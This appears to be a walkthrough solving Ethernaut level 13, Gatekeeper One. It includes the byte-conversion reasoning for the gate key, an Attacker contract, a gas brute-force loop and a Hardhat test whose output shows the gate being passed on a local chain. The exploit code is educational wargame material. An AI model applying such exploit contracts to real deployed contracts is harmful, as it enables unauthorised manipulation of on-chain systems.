Ethernaut Solutions: 13-Gatekeeper One

There are 3 modifiers that we need evaluated true to pass this challenge: gateOne(), gateTwo() and gateThree():

gateThree()

This post helped me a lot to understand how conversions work in Solidity: https://www.tutorialspoint.com/solidity/solidity_conversions.htm

In my case, tx.origin = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266

require(uint32(uint64(_gateKey)) == uint16(tx.origin), “GatekeeperOne: invalid gateThree part three”);

uint16(tx.origin) keeps only the 2 bytes from the right = 0x2266
uint32(uint64(_gateKey) will keep 4 bytes from the right so _gateKey can be 0x0000000000002266

require(uint32(uint64(_gateKey)) != uint64(_gateKey), “GatekeeperOne: invalid gateThree part two”);

uint64(0x0000000000002266) = 0x0000000000002266
uint32(uint64(0x0000000000002266) = 0x00002266
For them to not be equal, we need to make sure the first 4 bytes from left in 0x0000000000002266 are not all zeroes
So _gateKey = 0x1000000000002266

require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), “GatekeeperOne: invalid gateThree part one”)

our _gateKey = 0x1000000000002266 would still pass this check


gateOne()

require(msg.sender != tx.origin);

We need to ensure the enter() is called from a contract rather from an EoA account. For that we are using the Attacker contract.


gateTwo()

This was the least fun to solve as I could not determine the exact gas usage. Eventually I had to use brute force to determine the correct value:

for (let i = 8191000; i < 9000000; i++) {
	const num = await attacker.attack(i, "0x1000000000002266");
	const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
	
	console.log(i, stor2);
	
	if(stor2 != 0x0000000000000000000000000000000000000000000000000000000000000000)
	{
		console.log(i);
		break;
	}
 }

All the contracts and Hardhat test (solution) are provided below:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

//import '@openzeppelin/contracts/utils/math/SafeMath.sol';

contract GatekeeperOne {

  //using SafeMath for uint256;
  address public entrant;

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

  modifier gateTwo() {
     require(gasleft()%(8191) == 0);
    _;
  }

  modifier gateThree(bytes8 _gateKey) {
    require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
    require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
    require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Attacker
{
    address victimContract;
    constructor (address victim) payable
    {
        victimContract = victim;
    }

    function attack(uint gasAmt, bytes8 gateKey) public returns (bool)
    {       
        bytes memory payload = abi.encodeWithSignature("enter(bytes8)", gateKey);  
        victimContract.call{gas: gasAmt}(payload);
        return true;
    }
}
//Hardhat Test (solution.js):

const { expect } = require("chai");
const { Wallet } = require("ethers");
const { ethers, network } = require("hardhat");

describe("Hello.sol", () => {

    describe("Test run", () => {
        it("should run fine", async () => {
            
            // Deploy GatekeeperOne contract
            const [owner] = await ethers.getSigners();    
            const gatekeeper1Contract = await ethers.getContractFactory("GatekeeperOne")
            const gatekeeper1 = await gatekeeper1Contract.deploy();
            await gatekeeper1.deployed();
             
            // Deploy Attacker contract
            const attackerContract = await ethers.getContractFactory("Attacker")
            // GatekeeperOne's address is 0x5FbDB2315678afecb367f032d93F642f64180aa3
            // Send 5 ether while deploying Attacker
            const attacker = await attackerContract.deploy("0x5FbDB2315678afecb367f032d93F642f64180aa3", {value: ethers.utils.parseEther('5')});
            await attacker.deployed();
            
            // Deployer address
            const deployerAddress = owner.address
            console.log("deployerAddress = " + deployerAddress)
            
            // Verify deployment
            const gatekeeper1Address = gatekeeper1.address
            console.log("gatekeeperAddress = " + gatekeeper1Address)
            const attackerAddress = attacker.address
            console.log("attackerAddress = " + attackerAddress)
            const attackerBalance = await ethers.provider.getBalance(attackerAddress)
            console.log("attackerBalance: ", attackerBalance)
            
            // Read the value of GatekeeperOne.entrant state variable before attack
            const stor1 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
            console.log("Value of GatekeeperOne.entrant state variable before attack: ", stor1)

            // Brute force to determine correct "gas" value
            /*for (let i = 8191000; i < 9000000; i++) {
                const num = await attacker.attack(i, "0x1000000000002266");
                const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
                
                console.log(i, stor2);
                
                if(stor2 != 0x0000000000000000000000000000000000000000000000000000000000000000)
                {
                    console.log(i);
                    break;
                }
              }*/
            
            //Launch attack
            // 8191251 is the amount of gas determined via brute force (see for() loop above)
            const num = await attacker.attack(8191251, "0x1000000000002266");

            // Read the value of GatekeeperOne.entrant state variable after attack
            const stor2 = await ethers.provider.getStorageAt(gatekeeper1Address, 0);
            console.log("Value of GatekeeperOne.entrant state variable after attack: ", stor2)
        });
    });
});
Output:
-------

  Hello.sol
    Test run
deployerAddress = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
gatekeeperAddress = 0x5FbDB2315678afecb367f032d93F642f64180aa3
attackerAddress = 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512
attackerBalance:  BigNumber { value: "5000000000000000000" }
Value of GatekeeperOne.entrant state variable before attack:  0x0000000000000000000000000000000000000000000000000000000000000000
Value of GatekeeperOne.entrant state variable after attack:  0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266
      ✔ should run fine (867ms)